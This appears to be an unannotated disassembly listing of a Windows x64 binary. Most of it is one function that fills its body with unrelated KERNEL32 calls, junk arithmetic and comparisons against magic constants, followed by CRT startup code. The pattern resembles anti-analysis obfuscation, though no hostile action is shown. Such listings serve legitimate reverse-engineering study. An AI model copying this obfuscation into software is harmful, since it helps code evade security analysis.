mov ecx, eax
call fcn.1400033f0
nop
mov rax, qword [rbp + 0x5348]
mov edx, 0xf5
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
call rax
mov dword [rbp + 0x2764], eax
jmp 0x1400c855c
mov rcx, qword [rbp + 0x2378]
mov rdx, qword [rbp + 0x4f88]
mov rax, qword [rbp + 0x3ce8]
xor rdx, rcx
mov qword [rax], rdx
mov rdx, qword [rbp + 0x3d18]
movabs rax, 0x5d2cc1649db4b00f
cmp rdx, rax
jne 0x1400c853b
mov rax, qword [rbp + 0x156e8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
or eax, edx
mov byte [rbp + 0x221a], al
mov rax, qword [rbp + 0x15158]
mov edx, 0x94
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call rax
mov dword [rbp + 0x15160], eax
mov rax, qword [rbp + 0x15738]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x24aa]
mov rax, qword [rbp + 0x3230]
and edx, ecx
mov byte [rax], dl
movzx edx, word [rbp + 0x5dc]
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x152c], ax
jmp 0x1400c855b
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x32a]
add edx, eax
mov rax, qword [rbp + 0x6c0]
mov word [rax], dx
nop
nop
mov rax, qword [rbp + 0x15090]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadPriority]
call rax
mov dword [rbp + 0x204], eax
mov rax, qword [rbp + 0x15138]
movzx eax, byte [rax]
movzx ecx, byte [rbp + 0x221a]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x156e8]
mov byte [rax], dl
mov rdx, qword [rbp + 0x4f88]
movabs rax, 0x61ffabe8741e9d2d
cmp rdx, rax
je 0x1400c85c2
mov ecx, dword [rbp + 0x3424]
mov edx, dword [rbp + 0x50c8]
mov rax, qword [rbp + 0x2f40]
sub ecx, edx
mov dword [rax], ecx
jmp 0x1400c85c3
nop
lea rax, [rbp + 0x3ce8]
mov rdx, rax
mov ecx, 0x7e
mov rax, qword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
call rax
mov dword [rbp + 0x15164], eax
movzx eax, word [rbp + 0x32a]
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x3e7e], ax
movzx eax, byte [rbp + 0x3507]
mov edx, eax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x9b8]
mov byte [rax], dl
lea rdx, [rbp + 0x1468]
lea rax, [rbp + 0x4830]
mov qword [rsp + 0x20], rax
mov r9d, 4
mov r8, rdx
mov edx, 0x38
mov ecx, 0x2f
mov rax, qword [sym.imp.KERNEL32.dll_GetStringTypeA]
call rax
mov dword [rbp + 0x15164], eax
nop
mov r9d, dword [rbp + 0x7a]
mov r8d, dword [rbp + 0x888]
lea rdx, [rbp + 0x221a]
mov rax, qword [rbp + 0x15090]
lea rcx, [rbp + 0x221a]
mov qword [rsp + 0x20], rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
call rax
mov dword [rbp + 0x15160], eax
mov rax, qword [rbp + 0x2378]
movabs rdx, 0x128153c70cdccce9
cmp rax, rdx
je 0x1400c86b3
movabs rdx, 0x345be8d779e810ec
cmp rax, rdx
je 0x1400c86e7
jmp 0x1400c878a
mov ecx, dword [rbp + 0x194]
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x4830]
mov eax, dword [rax]
mov r8d, 0x27
mov edx, eax
mov ecx, 0x6a
call fcn.140003bbd
jmp 0x1400c8703
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add eax, edx
mov byte [rbp + 0x24aa], al
nop
jmp 0x1400c878a
movzx eax, byte [rbp + 0x221a]
movzx edx, al
mov rax, qword [rbp + 0xa70]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15138]
mov byte [rax], dl
mov rax, qword [rbp + 0x4830]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2728]
add eax, edx
mov dword [rbp + 0x3b8], eax
movzx eax, word [rbp + 0x5dc]
movzx ecx, ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx r9d, ax
movzx eax, word [rbp + 0x36a6]
movzx r8d, ax
movzx eax, word [rbp + 0x129e]
movzx edx, ax
movzx eax, word [rbp + 0x152c]
movzx eax, ax
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.140003adb
nop
mov rax, qword [rbp + 0x15150]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetPriorityClass]
call rax
mov dword [rbp + 0x2728], eax
movzx eax, word [rbp + 0x36a6]
movzx edx, ax
movzx eax, word [rbp + 0x129e]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x4148]
mov word [rax], dx
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x50c8]
xor eax, edx
mov dword [0x1400dd310], eax
lea rax, [rbp + 0x4850]
mov dword [rsp + 0x20], 0xb
mov r9d, 0x94
mov r8, rax
mov edx, 0x14
mov ecx, 5
mov rax, qword [sym.imp.KERNEL32.dll_GetGeoInfoW]
call rax
mov dword [rbp + 0x3424], eax
mov eax, dword [rbp + 0x1bc]
add rsp, 0x15828
pop rbx
pop rsi
pop rdi
pop rbp
ret
push rdi
push rbx
sub rsp, 0x98
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p__wcmdln
xor edx, edx
mov rbx, qword [rax]
test rbx, rbx
jne 0x1400c9393
jmp 0x1400c9410
test ax, ax
je 0x1400c93b8
and edx, 1
je 0x1400c93b8
mov edx, 1
add rbx, 2
movzx eax, word [rbx]
cmp ax, 0x20
jbe 0x1400c9380
mov ecx, edx
xor ecx, 1
cmp ax, 0x22
cmove edx, ecx
jmp 0x1400c938f
movzx eax, word [rbx + 2]
add rbx, 2
sub eax, 1
cmp ax, 0x1f
jbe 0x1400c93b0
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x1400c93ef
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x1400de860]
mov r8, rbx
xor edx, edx
add rsp, 0x98
pop rbx
pop rdi
jmp 0x140004074
lea rbx, [0x1400de4d0]
jmp 0x1400c93c1